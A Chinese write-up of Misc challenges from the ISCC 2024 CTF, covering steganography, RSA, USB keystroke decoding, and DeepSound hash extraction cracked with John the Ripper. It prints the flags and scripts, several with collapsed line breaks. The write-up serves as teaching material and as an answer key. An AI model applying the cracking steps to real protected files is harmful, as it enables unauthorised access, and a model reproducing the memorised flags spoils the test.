ISCC 2024 部分wp

文章目錄

    • 一、Misc
        • 1、Number_is_the_key
        • 2、FunZip
        • 3、擂臺—— 重“隱”;
        • 4、RSA_KU
        • 5、時間刺客
        • 6、成語學習
        • 7、 精裝四合一
        • 8、鋼鐵俠在解密
        • 9、有人讓我給你帶個話
        • 10、Magic_Keyboard
        • 11、工業互聯網模擬仿真數據分析
    • 二、Web
        • 1、還沒想好名字的塔防游戲
        • 2、代碼審計
        • 3、原神啟動
        • 4、Flask中的pin值計算
        • 5、掉進阿帕奇的工資
        • 6、實戰——階段一: 內網服務器漏洞利用
        • 7、回來吧永遠滴神
        • 8、這題我出不了了
        • 9、一道普通的XSS題目
        • 10、與時俱進
    • 三、Reverse
        • 迷失之門
    • 四、Pwn
        • chaos
    • 五、mobile
        • Puzzle_Game

一、Misc

1、Number_is_the_key

下載附件得到Excel表,打開什么都沒發現;

在這里插入圖片描述

那丟進010查看,發現pk開頭果斷改后綴zip;

在這里插入圖片描述

打開zip在里面查找,發現sheet1.xml里面有二維碼點陣;

在這里插入圖片描述

這里有兩個方法可以恢復,第一種就是普通的腳本(網上有類似稍加修改即可),第二種改回Excel表格,在里面替換修改表格的寬高即可,這里我選擇第二種較方便;

在這里插入圖片描述

這里注意一點,一點要選Ctrl+A全選在盡進行替換,最后點擊全部替換即可;

在這里插入圖片描述

但是發現二維碼太大還是沒辦法掃到,這里我們可以調整格子的寬高即可;

在這里插入圖片描述

在這里插入圖片描述

掃描二維碼得到flag;

ISCC{Yi3icOwUaoV1}
2、FunZip

下載附件得到一個有編碼的txt;

在這里插入圖片描述

這一看就是對txt進行了base64進行加密,那我們使用工具puzzlesolver梭哈即可;

工具已放評論區自取;

在這里插入圖片描述

ISCC{CiXCNGQHE7OV}
3、擂臺—— 重“隱”;

下載附件,一個wav,一張png;

在這里插入圖片描述

先分析png,丟進010分析;

在這里插入圖片描述

發現末尾有東西,那我們丟進kali進行分析;
圖片正常顯示,基本可以確認寬高無問題,那我們直接對圖片進行分離試試;

在這里插入圖片描述
在這里插入圖片描述

有鎖,那我們就找password,既然圖片已經分析完畢,那我們直接從wav下手;

丟進Audacity無果;

在這里插入圖片描述

仔細聽wav發現是某種撥號聲,找一個分析撥號的工具,猜測這個撥號聲就是password;

找到工具dtmf2num,工具放評論區自取;

這里注意音頻放同一目錄下;

在這里插入圖片描述
在這里插入圖片描述

一開始以為這就是flag但是發現怎么嘗試都不對,后來發現兩位一組配合九鍵才是正確的password

例如;82——u/U,73——r/R,以此類推最后發現剛剛好。

urhdbdfge

URHDBDFGE

打開txt發現是一串brainfuck加密,找一個在線解碼即可;

在這里插入圖片描述
在這里插入圖片描述

ISCC{y0u_f1nd_t

喔泥馬,得到一半,害,別慌,按道理既然圖片里面有個txt,那就猜測wav也有,那我們直接上deepsound查txt!

在這里插入圖片描述

然后在圖片里面找密碼,翻了半天沒有翻到,沒辦法直接上爆破(嚴格來說其實不算是爆破);

簡單來說是通過deepsound2john.py腳本來獲得密碼的hash值,代碼如下;

#! python3import logging
import os
import sys
import textwrapdef decode_data_low(buf):return buf[::2]def decode_data_normal(buf):out = bytearray()for i in range(0, len(buf), 4):out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15))return outdef decode_data_high(buf):out = bytearray()for i in range(0, len(buf), 8):out.append((buf[i] & 3) << 6     | (buf[i + 2] & 3) << 4 \| (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3))return outdef is_magic(buf):# This is a more efficient way of testing for the `DSCF` magic header without# decoding the whole bufferreturn (buf[0] & 15)  == (68 >> 4) and (buf[2]  & 15) == (68 & 15) \and (buf[4] & 15)  == (83 >> 4) and (buf[6]  & 15) == (83 & 15) \and (buf[8] & 15)  == (67 >> 4) and (buf[10] & 15) == (67 & 15) \and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15)def is_wave(buf):return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE'def process_deepsound_file(f):bname = os.path.basename(f.name)logger = logging.getLogger(bname)# Check if it's a .wav filebuf = f.read(12)if not is_wave(buf):global convert_warnlogger.error('file not in .wav format')convert_warn = Truereturnf.seek(0, os.SEEK_SET)# Scan for the marker...hdrsz = 104hdr = Nonewhile True:off = f.tell()buf = f.read(hdrsz)if len(buf) < hdrsz: breakif is_magic(buf):hdr = decode_data_normal(buf)logger.info('found DeepSound header at offset %i', off)breakf.seek(-hdrsz + 1, os.SEEK_CUR)if hdr is None:logger.warn('does not appear to be a DeepSound file')return# Check some header fieldsmode = hdr[4]encrypted = hdr[5]modes = {2: 'low', 4: 'normal', 8: 'high'}if mode in modes:logger.info('data is encoded in %s-quality mode', modes[mode])else:logger.error('unexpected data encoding mode %i', modes[mode])returnif encrypted == 0:logger.warn('file is not encrypted')returnelif encrypted != 1:logger.error('unexpected encryption flag %i', encrypted)returnsha1 = hdr[6:6+20]print('%s:$dynamic_1529$%s' % (bname, sha1.hex()))
if __name__ == '__main__':import argparseparser = argparse.ArgumentParser()parser.add_argument('--verbose', '-v', action='store_true')parser.add_argument('files', nargs='+', metavar='file',type=argparse.FileType('rb', bufsize=4096))args = parser.parse_args()if args.verbose:logging.basicConfig(level=logging.INFO)else:logging.basicConfig(level=logging.WARN)convert_warn = Falsefor f in args.files:process_deepsound_file(f)if convert_warn:print(textwrap.dedent.rstrip(), file=sys.stderr)

這里我在kali里面操作的;

vim 123.py

在這里插入圖片描述

導入進hash.txt即可;

python 123.py music.wav > hash.txt

并使用Kali的john工具來暴力破解原相,得到password;

john hash.txt

在這里插入圖片描述

密碼;teenager

成功導出,打開你會發現是個文本盲水印;

在這里插入圖片描述

別怕我們有PuzzleSolver萬能解碼工具。丟進txt解碼即可;

在這里插入圖片描述

3HodAcpU52ryNLs4f7xBMqmjA

解出來發現是個base58,找個解碼就行,隨便用啥工具,我用的ToolsFx;

工具在評論區自取;

在這里插入圖片描述

這里%7D是}的意思,ucode編碼嘛;

最后拼接即可;

ISCC{y0u_f1nd_t74_re2l_w4t3rm4rk}
4、RSA_KU

下載附件得到;

在這里插入圖片描述

經典RSA沒什么說的,腳本梭哈;

先算出p、q

from sympy import symbols, Eq, solve# 定義符號變量 p 和 q
p, q = symbols('p q', integer=True)# 給定的方程
eq1 = Eq((p - 2) * (q - 1), 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668067056973833292274532016607871906443481233958300928276492550916101187841666991944275728863657788124666879987399045804435273107746626297122522298113586003834)
eq2 = Eq((p - 1) * (q - 2), 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668066482326285878341068180156082719320570801770055174426452966817548862938770659420487687194933539128855877517847711670959794869291907075654200433400668220458)
eq3 = Eq(p * q, 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977)# 求解方程組
solutions = solve((eq1, eq2, eq3), (p, q))# 檢查結果是否為解的列表
if isinstance(solutions, list):# 如果有多個解,則打印所有解for sol in solutions:print(f"p = {sol[0]}, q = {sol[1]}")
else:# 如果只有一個解,則打印該解print(f"p = {solutions[p]}, q = {solutions[q]}")

得到;

在這里插入圖片描述

條件已全部滿足腳本梭哈即可;

from Crypto.Util.number import inverse, long_to_bytes# 已知值
n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977
e = 65537
c = 75766262602173947947315858580952225983622657709089882848511404734490290076406150199798837352910981802804416097404105898476177884508640407765047095990736796975565150807456634928354833839456684311349985183993952174346191847600793718006141700899387563566150861755552512843348970189147270827332208185646688195020# 已解出的 p 和 q
p = 11679509046055093484387585536769973960915016129595089156764897709796981174994469835617477280580153684696296947700908005372625963068761884667061288424062299
q = 11104861498641160020551133747582851050482827883841239117180799157472078278661946047575808556331157873693827396366774529894387508349540416345196575506278923# 計算 φ(n)
phi = (p - 1) * (q - 1)# 計算私鑰 d
d = inverse(e, phi)# 解密密文 c
m = pow(c, d, n)# 將明文轉換為字節序列
flag = long_to_bytes(m)# 打印結果
print(flag.decode())

運行直接得到flag;

ISCC{YrUjF9W40uirNUcvmE--}

在這里插入圖片描述
簡單分析一下;
這個腳本將使用這些值來計算私鑰 d,然后用它來解密給定的密文 c。解密后的明文將被轉換為字節序列;

注意;
確保在Python環境中已安裝了 pycryptodome 庫,因為腳本使用了這個庫中的 inverselong_to_bytes 函數。如果尚未安裝,可以通過運行 pip install pycryptodome 來安裝它。

這個腳本應該能夠正確解密密文 c 并打印出解密后的消息。如果解密的文本無法正常顯示(比如包含非打印字符或編碼錯誤),這可能是因為解密得到的數據不是有效的UTF-8編碼字符串。

5、時間刺客

下載附件得到一個有鎖的zip和流量包;

先看流量包發現USB,那就是USB鍵盤解密;

在這里插入圖片描述

丟kali里面;

tshark -r 123.pacp -T fields -e usb.capdata | sed '/^\s*$/d' > 1.txt

在這里插入圖片描述

接下來直接提取出來,參考:CISCN2022 ez_usb
得到了所有的鍵盤輸入(注意需加冒號)

f=open('1.txt','r')fi=open('666.txt','w')while 1:a=f.readline().strip()if a:if len(a)==16: # 鼠標流量的話len改為8out=''for i in range(0,len(a),2):if i+2 != len(a):out+=a[i]+a[i+1]+":"else:out+=a[i]+a[i+1]fi.write(out)fi.write('\n')else:break

運行得到;

在這里插入圖片描述

然后對輸出的文本進行轉義;

normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i","0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r","16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1","1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0","28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[","30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/","39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>","40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I","0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R","16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!","1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")","28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{","30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?","39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>","40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}output = []keys = open('666.txt')  # 這里是加號冒號的數據for line in keys:try:if line[0] != '0' or (line[1] != '0' and line[1] != '2') or line[3] != '0' or line[4] != '0' or line[9] != '0' or line[10] != '0' or line[12] != '0' or line[13] != '0' or line[15] != '0' or line[16] != '0' or \line[18] != '0' or line[19] != '0' or line[21] != '0' or line[22] != '0' or line[6:8] == "00":continueif line[6:8] in normalKeys.keys():output += [[normalKeys[line[6:8]]], [shiftKeys[line[6:8]]]][line[1] == '2']else:output += ['[unknown]']except:passkeys.close()flag = 0print("".join(output))for i in range(len(output)):try:a = output.index('<DEL>')del output[a]del output[a - 1]except:passfor i in range(len(output)):try:if output[i] == "<CAP>":flag += 1output.pop(i)if flag == 2:flag = 0if flag != 0:output[i] = output[i].upper()except:passprint('output :' + "".join(output))

運行得到;

在這里插入圖片描述

這個應該就是密碼了,打開zip,注意(里面兩層zip)

pr3550nwardsa2fee6e0PR3550NWARDSA2FEE6E0

在這里插入圖片描述

全是空文件,根據提示是時間,那就直接找時間戳,丟給GPT生成腳本,讀取日期轉ASCll即可;

import os
import timedef get_txt_files(directory):txt_files = []for file in os.listdir(directory):if file.endswith(".txt"):txt_files.append(os.path.join(directory, file))return txt_filesdef get_modification_time(filename):modification_time = os.path.getmtime(filename)return time.localtime(modification_time)def format_time(modification_time):return (modification_time.tm_year, modification_time.tm_mon, modification_time.tm_mday,modification_time.tm_hour, modification_time.tm_min, modification_time.tm_sec)def process_time(datetime):return datetime[-2] * 60 + datetime[-1]def main():directory = "35"  # 修改為您要讀取的文件夾名稱txt_files = get_txt_files(directory)dict_output = {}for i, txt_file in enumerate(txt_files):modification_time = get_modification_time(txt_file)formatted_time = format_time(modification_time)result = process_time(formatted_time)dict_output[i] = chr(result)print("Dictionary contents:")print(dict_output)flag = ""for i in range(len(txt_files)):flag += dict_output[i]print('ISCC{' + flag + '}')if __name__ == "__main__":main()

運行即可;

在這里插入圖片描述

6、成語學習

下載附件一個有鎖zip、一個pacp

打開pacp簡單分析一下,查看協議分級,發現有http有文件;

在這里插入圖片描述

這里為了方便我直接全部導出,按大小排序,且使用010分析;

在這里插入圖片描述
在這里插入圖片描述

往下翻一點發現png頭,前面全部刪掉,后綴保存為png

在這里插入圖片描述

一眼寬高問題;

在這里插入圖片描述
在這里插入圖片描述

在這里插入圖片描述

得到key

57pmYyWt

打開zip,發現是空白文件,010打開發現pk開頭,后綴改zip即可;

在這里插入圖片描述

打開發現很多文件,一個一個看太麻煩了,那怎么辦,這里教個快方法嗎,丟進kali使用find快查找

在這里插入圖片描述

	find ./* -name fl*

在這里插入圖片描述

打開txt發現hmacmd5,找個在線網站解碼即可;

在這里插入圖片描述

網址;https://www.mklab.cn/utils/hmac

明文;成語
密文;prawn

解密得到flag;

在這里插入圖片描述

7、 精裝四合一

下載附件得到四張圖片;

使用010打開使用十六進制查找(AE 42 60 82),并且刪除前面前面所有數據及AE 42 60 82;

在這里插入圖片描述

然后得到四張圖片的冗余數據,然后依次打開,異或0xff異或最快速的方法可以使用010editor:十六進制然后點擊二進制異或;

在這里插入圖片描述

接著就是依次把數據提取出來;
簡單來說(他是把一個zip數據,均勻分布到4個文件里,那么我們需要依次讀取4個文件)
那我們使用zip
找師傅要個腳本生成zip;

fp1 = open('1.png','rb')
fp2 = open('2.png','rb')
fp3 = open('3.png','rb')
fp4 = open('4.png','rb')
fp5 = open('5.zip','wb')
#這里的1.png 2.png 3.png 4.png是我重命名的,如果你異或完第四位#如果是4b,就是2.png#如果是03,就是3.png#如果是04,就是4.png
for i in range(3176):fp5.write(fp1.read(1))fp5.write(fp2.read(1))fp5.write(fp3.read(1))fp5.write(fp4.read(1))fp5.write(fp1.read())

在這里插入圖片描述

得到一個有鎖的zip,這里直接爆破即可密碼;

65537

打開doc把這個覆蓋圖片移走,能夠得到一堆數字,這些就是RSA的模數n

在這里插入圖片描述

這里小細節如果你移走之后還是沒有看見n,那就全選調成無間距即可;

在這里插入圖片描述

在使用010打開發現pk,提取出來保存zip格式,發現了兩張圖片;

在這里插入圖片描述
在這里插入圖片描述

這里先使用yafu分解模數n,得到p、q;
網址;http://factordb.com/

在這里插入圖片描述

得到p、q,經典RSA加密了,直接腳本梭哈即可;

from Crypto.Util.number import bytes_to_long, long_to_bytes
import gmpy2e = 65537
n = 16920251144570812336430166924811515273080382783829495988294341496740639931651
p = 167722355418488286110758738271573756671
q = 100882503720822822072470797230485840381phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)# 讀取加密的文件
c = bytes_to_long(open('true_flag.jpeg', 'rb').read())# 解密
m = pow(c, d, n)# 將解密后的明文保存到文件
print(long_to_bytes(m))
print(c)

最后運行即可;

在這里插入圖片描述
最后復制丟給GPT轉文本即可;

8、鋼鐵俠在解密

下載附件得到一張bmp后綴結尾的圖片、還有一個txt;

打開txt查看;

在這里插入圖片描述

看著比較眼熟,猜測一下富蘭克林攻擊,但是缺少C1以及C2呀,那就應該是在圖片里面;

簡單分析一下圖片,既然是bmp結尾那就嘗試使用silenteye分析;

在這里插入圖片描述

哎,發現了txt,打開查看;

在這里插入圖片描述

果然就是我們需要的C1C2;

做到這里,這題讓我想起某年領航杯的一道密碼,及其相似,因為e的值也是一樣的大,但是了解到了half-gcd;

鏈接:https://www.cnblogs.com/mumuhhh/p/17789591.html

又回去看了一下,腳本可以直接搬運;

def HGCD(a, b):if 2 * b.degree() <= a.degree() or a.degree() == 1:return 1, 0, 0, 1m = a.degree() // 2a_top, a_bot = a.quo_rem(x ^ m)b_top, b_bot = b.quo_rem(x ^ m)R00, R01, R10, R11 = HGCD(a_top, b_top)c = R00 * a + R01 * bd = R10 * a + R11 * bq, e = c.quo_rem(d)d_top, d_bot = d.quo_rem(x ^ (m // 2))e_top, e_bot = e.quo_rem(x ^ (m // 2))S00, S01, S10, S11 = HGCD(d_top, e_top)RET00 = S01 * R00 + (S00 - q * S01) * R10RET01 = S01 * R01 + (S00 - q * S01) * R11RET10 = S11 * R00 + (S10 - q * S11) * R10RET11 = S11 * R01 + (S10 - q * S11) * R11return RET00, RET01, RET10, RET11def GCD(a, b):print(a.degree(), b.degree())q, r = a.quo_rem(b)if r == 0:return bR00, R01, R10, R11 = HGCD(a, b)c = R00 * a + R01 * bd = R10 * a + R11 * bif d == 0:return c.monic()q, r = c.quo_rem(d)if r == 0:return dreturn GCD(d, r)
#填入你的
c1 = 5017369768694090882032874151790454013801219395405287358207261245363256829248608596502248566398520888429123068081569109393280813077504052950602807292263976569549950695855034991600627474248601023155417605655770430049715209036466126332158721754416840461535178102241673458740266136324362194445284419127770862459105202409819693263389282320915294170572475633725510148135550165243317205799536627815353543347307896706247209832387038159128207210034149401836142035780479451946680015887015805801833689166356479093336955344013041439948376767333629389510835402505659305883721660844242226225426796547014196608222731396847442033989
c2 = 507384238405164894777070216936058414248957470621682465979969565874673475531556308157966971978727929187885326824096036880804838325461008248518925654961162689385362314521317488538713528411196811305410646950164637167443757506100731566433818518444499218820451016697511365389342947997664515635533495319642108557081560343565725150552083709866564355720051752298333524185795164369635622805913094004540556292465465504776524188179971013639183466958695108211645591808065992454954828366833086197711882310642589818019027277798204029101473373561664384967568947638228117979763658236419828589469635113089784255797757642551645627462
N = 14333611673783142269533986072221892120042043537656734360856590164188122242725003914350459078347531255332508629469837960098772139271345723909824739672964835254762978904635416440402619070985645389389404927628520300563003721921925991789638218429597072053352316704656855913499811263742752562137683270151792361591681078161140269916896950693743947015425843446590958629225545563635366985228666863861856912727775048741305004192164068930881720463095045582233773945480224557678337152700769274051268380831948998464841302024749660091030851843867128275500525355379659601067910067304244120384025022313676471378733553918638120029697
e = 52595pad1 = 1769169763
pad2 = 1735356260
PR.<x>=PolynomialRing(Zmod(N))
g1 = (x*2^32+pad1)^e - c1
g2 = (x*2^32+pad2)^e - c2
X=584734024210292804199275855856518183354184330877
print(g1(X),g2(X))
res = GCD(g1,g2)
m = -res.monic().coefficients()[0]
print(m)print(bytes.fromhex(hex(m)[2:]).decode().replace("flag{",'ISCC{'))

這里需要注意;

這個腳本不能在普通的Python環境中運行,因為它使用了SageMath特有的庫和函數。例如,PolynomialRingZmod 是SageMath中的數學結構,它們不是Python標準庫的一部分。SageMath是一個專門的數學軟件系統,它擴展了Python,使其可以進行更高級的數學運算,特別是在符號計算、數學結構構造和密碼學應用中。

簡單來說什么是SageMath?

SageMath Notebook提供了一個交互式的環境,可以直接運行SageMath代碼,并查看結果。如果嘗試在沒有SageMath的Python環境中運行此代碼,您會遇到導入錯誤和未定義函數的問題,因為Python的標準庫中沒有定義這些函數和類。

工具已放評論區(注意安裝時間有點長等待片刻即可;)

這里是官方鏈接可以選擇自己對應的版本;https://mirrors.aliyun.com/sagemath/win/index.html

點擊并且運行SageMath 9.3 Notebook;

在這里插入圖片描述

腳本直接復制粘貼進去。點擊運行即可(選中運行),這里輸出結果較為漫長等待即可;

在這里插入圖片描述

最后得出flag;

在這里插入圖片描述

參考文章:https://www.cnblogs.com/mumuhhh/p/17789591.html

9、有人讓我給你帶個話

下載附件一張圖片和一個空白文件,先分析圖片,丟進kali使用zsteg查看有什么隱寫數據;

zsteg -圖片

在這里插入圖片描述

不難看出里面有Rar文件,那就導出;

zsteg -E "extradata:0" Tony.png >123.rar 

在這里插入圖片描述

得到一張png圖片,根據圖片名字得到提示,這里不太清楚那我們百度一下;

在這里插入圖片描述

大致隨便看了一下,簡單來說就是語音音頻經過 Google/lyra 低比特率壓縮。

天琴座(Lyra)利用這些新的自然發聲生成模型的力量來維持參數編解碼器的低比特率,同時實現高質量的音頻效果,達到與當今大多數流媒體和通信平臺中使用的最新波形編解碼器相當的水平。波形編解碼器的缺點在于,它們通過逐個樣本壓縮和發送信號來達到高質量,這需要更高的比特率,而且在大多數情況下,并不能自然地再現聲音。

生成模型面臨的一個問題是其計算復雜性。Lyra 通過使用更為經濟的遞歸生成模型(如 WaveRNN 的變種)來避免這一問題。雖然這些模型的工作速率較低,但它們能夠并行生成不同頻率范圍內的多個信號,然后在所需的采樣率下將其合并為單個輸出信號。這一技巧使得 Lyra 不僅可以在云服務器上運行,還可以實時在中端手機設備上運行,其處理延遲為 90 毫秒,與其他傳統語音編解碼器一致。之后,對該生成模型進行數千小時的語音數據訓練,并類似于 WaveNet 進行優化,以準確地重現輸入音頻。

工具:https://github.com/google/lyra

跟著教程一步步安裝即可;(推薦Ubuntu)

教程推薦:https://blog.csdn.net/qq_36959443/article/details/116136965

在這里插入圖片描述

安裝完成,開始使用工具解密,將附件里面空白文件改為1.lyra即可;

bazel-bin/lyra/cli_example/decoder_main --encoded_path=1.lyra --output_dir=1/--bitrate=3200

在這里插入圖片描述

直接得到音頻文件,以為是什么隱寫,結果聽了一下,就是單純的社會核心價值觀解密;

在這里插入圖片描述

隨便找個wav轉語音網站導出txt,找一個在線社會主義核心價值觀解碼網站即可;

wav轉文本;https://www.pdf365.cn/voice-to-word/

在這里插入圖片描述

解碼網站;http://www.hiencode.com/cvencode.html

在這里插入圖片描述
ISCC{8NQ3EHJRNQ02}

這題其實中規中矩難就難在環境問題,大家很多都沒裝成功;

10、Magic_Keyboard

點擊附件下載會自動跳到一個視頻網站,接著我們需要下載并保存;

在這里插入圖片描述
仔細聽視頻里面的聲音,發現是鍵盤敲擊的聲音,那我們百度一下,發現PBCTF有類似的題目看了一下大佬的wp稍微有點思路了;

鏈接:https://blog.csdn.net/weixin_43234021/article/details/120714151

簡單來說,這道題就是先消除鍵盤雜音,將每個鍵的音頻拆分為較短的音頻樣本,為每個鍵分配一個字母并求解生成的替換密碼。

俗一點;猜獎

這里我拿的的是這位師傅的exp,隨便修改就可以繼續使用;

鏈接:https://github.com/tttttx2/CTF_Writeups/blob/main/PBCTF-2021/Is_that_your_packet.md

這里隨便輸一個:qwertyuioplkjhgf(對應腳本里面的推薦碼表)

注意!!!腳本里面的音頻時長改成自己的音頻時長!!!

腳本:

from scipy.io import wavfile
import numpy as np# 讀取 WAV 文件并跳過文件頭
with open('./attachment-45.wav', 'rb') as f:content = f.read()
content = content[0x2c:]# 按音頻長度和預期按鍵次數劃分內容
audio_length_seconds = 34  # 替換為實際音頻長度
expected_key_presses = audio_length_seconds * 2  # 每秒兩次按鍵
chunk_size = len(content) // expected_key_presses
chunks = [content[i*chunk_size:(i+1)*chunk_size] for i in range(expected_key_presses)]# 計算每個分塊的 avg 值
avg_values = []
for chunk in chunks:# 將每個分塊的字節數據轉換為 16 位整數samples = np.frombuffer(chunk, dtype=np.int16)avg_value = np.mean(np.abs(samples))avg_values.append(avg_value)
#ghijgjgjklkhmnkiinkkmikomiinmpmqmhmpmomrmiinksmimnksmrmikq
#495343437b796f755f776572655f6c6d696c626c655f70656f706c657d
# 映射 avg 值到字母
alphabet = "qwertyuioplkjhgf"  # 推薦碼表avg_map = {}i = 0
res = ""# 映射 avg 值
for value in avg_values:value_str = str(value)if value_str not in avg_map:avg_map[value_str] = alphabet[i % len(alphabet)]  # 循環使用字母表i += 1res += avg_map[value_str]# 打印結果print(avg_map)
print(res)

運行結果得到;
在這里插入圖片描述

qwerqrqrtytwuiteeiuruoupeiulueeiuoupuouktwtquwuruoukeitjuetltruiupth

繼續分析:
接著PBCTF里面是16個鍵位,分別是0-9,a-f,
那我們就用這16個鍵位慢慢替換成上面我們用的字母表,PBCTF都是兩位代表一個字符,ascii表里面好多字母都超過3位數字了,那這都是兩位肯定就是16進制了;

在這里插入圖片描述
簡單來說因為是使用ISCC{}包裹,所以一般格百分之八十可以確定為ISCC{},I——0x49,
S——0x53,C——0x43,{}——0x7d,0x7b

所以這里我們就使用495343437b替換最開始的字符串(注意腳本還是剛剛上面的腳本);

所以也就說此時我們替換成了:495343437iklpd

在這里插入圖片描述

運行得到一串十六進制,丟去解碼網站;

49534343434943455343474b534l4553474b474k49444943474k534j454l43434b4h

網站鏈接:https://mm.imbyter.com/#recipe=From_Hex(‘Auto’)&input=NDk1MzQzNDM0MzQ5NDM0NTUzNDM0NzRiNTM0bDQ1NTM0NzRiNDc0azQ5NDQ0OTQzNDc0azUzNGo0NTRsNDM0MzRiNGgNCg

解碼得到;

ISCCCICESCGKSESGKGIDICGSECCK

發現并不是我們想要的,那就在原來的基礎上刪掉一些(多調試調試);直到改成ISCC{}前后包裹為止;

在這里插入圖片描述
最后終于在某一刻變成了:49537b6ioplkjhgf

495343437b796i755i636o6p5i6l655i6o6p6o6k797469636o6k5i7j657l736i6p7h

接著我們解碼;
在這里插入圖片描述
在這里插入圖片描述
這里得到;ISCC{y?u?c????e?????ytic????e?s???}

猜一手;

y?u——you

現在變成;

ISCC{you_c???e???ytic???e?s???}

繼續猜碼表:49537b6fc21djhgf(運行腳本)

丟到在線解碼得到:495343437b796f755f636c625f61655f6c626c6d797469636c6d5f7j6571736f627h

解碼:ISCC{you_clb_ae_lblmyticlm_?eqsob}

這里基本就可以看出分隔那一些。結合前面的我們可以得到;

ISCC{you_c???e???ytic??_?e?s??}

又變成了這樣;

簡單分析一點,如果寫成you can be 那就是——你可以是什么什么

那就暫時先這樣:ISCC{you_can_be_???ytic??_?e?s??}

后面去研究了很多師傅的flag,我發現最后很多什么什么的人(注意我們這里最后也非常像人的單詞)

那就又可以寫成ISCC{you_can_be_???ytic??_person}最后的人單詞以及問號數量位置都可以對得上;

所以這里翻譯出來那就是你可以是什么的人,沒事直接反手丟給GPT看看一共有多少組合;

在這里插入圖片描述
最后前前后后就那么多滿足我們條件的,最后一個個嘗試

但是嘗試了還是不對,但是我感覺就差一點,于是我就想到了翻譯;

那就直接排查合成和乳酸,就只剩下神秘和分析的,但是我們的?最貼切還是分析的,所以我們可以猜測翻譯!

你可以是善于分析的人

在這里插入圖片描述

最后得出flag;

ISCC{you_can_be_analytical_person}

最后總結了一下我的推薦碼表:

49537b6f1e2c0dgh

十六進制:

495343437b796f755f63616e5f62655f616e616c79746963616c5f706572736f6e7d

哈哈哈哈哈,這題挺好玩的,猜猜樂(當然每個人猜的方法都不一樣,看你怎么去猜,這邊僅供參考喔~)

11、工業互聯網模擬仿真數據分析

下載打開word

在這里插入圖片描述

具體講了題目和wires hark的使用方法

在這里插入圖片描述

看了一眼自帶的腳本,分析下來就是最后的結果需要進行MD5加密進行提交

分析pcag

在這里插入圖片描述

里面全都是udp協議,相同ip出現了好多次
然后數里面的ip個數和種類

在某些網絡會話中,數據包可能保持固定大小,再這里面看192.168.1.4和192.168.1.2

在這里插入圖片描述

而通信包數據某些字段可能為確定的,請給出確定字節數值。

tshark -r a.pcap -T fields -e data.data -Y "data.len==12"                                                 
2024f7b039ae1f546c8e8b1b                                                                                                                                                                                        
2024b939b6fdd3a92dacee64                                                                                                                                                                                        
2024fd300d3fd17b85d1ae51                                                                                                                                                                                        
20249cf615176e00d3fde264                                                                                                                                                                                        
20247b5207a1d2b639fe1e55                                                                                                                                                                                        
202432b3b42ff36424a15d01                                                                                                                                                                                        
2024f2122ad847094be81d58                                                                                                                                                                                        
2024e866d7ec7b7d5ae618bf                                                                                                                                                                                        
20244057c7e66ca371b2c938                                                                                                                                                                                        
202433b4fba38bac7e29bc6a                                                                                                                                                                                        
2024796986cd9b1fc559ad61                                                                                                                                                                                        
20248c6b6efd392e9839a3eb                                                                                                                                                                                        
202462434670e7e76d766c58                                                                                                                                                                                        
20241cc66ab532ff8c8f1d2e

很明顯就是前面的

2024

而這些中,找了一會時間差別,只有192.168.1.3和192.168.1.5之前時間差是平均有規律的,都是0.06秒

在這里插入圖片描述
1
在這里插入圖片描述
1

在這里插入圖片描述
1
在這里插入圖片描述

192.168.1.3    192.168.1.5    0.06

那么既然這幾個節點能進行傳輸,那他們就存在某種邏輯關聯性
看文末的流量分組,就能看出這三個IP是有業務關聯性的

192.168.1.2    192.168.1.3    192.168.1.6
  1. 題目五:網絡數據包往往會添加數據完整性校驗值,請分析出數據校驗算法名稱及校驗值在數據包的起始位和結束位(倒數位)
    答案:XXXXX,X,X
    五位數字,首先想到CRC16和CRC32 倒數位必為1
    為CRC16,4,1時成功提交
    192.168.1.2,192.168.1.4,24
    2024
    192.168.1.3,192.168.1.5,0.06
    192.168.1.2,192.168.1.3,192.168.1.6
    CRC16,4,1
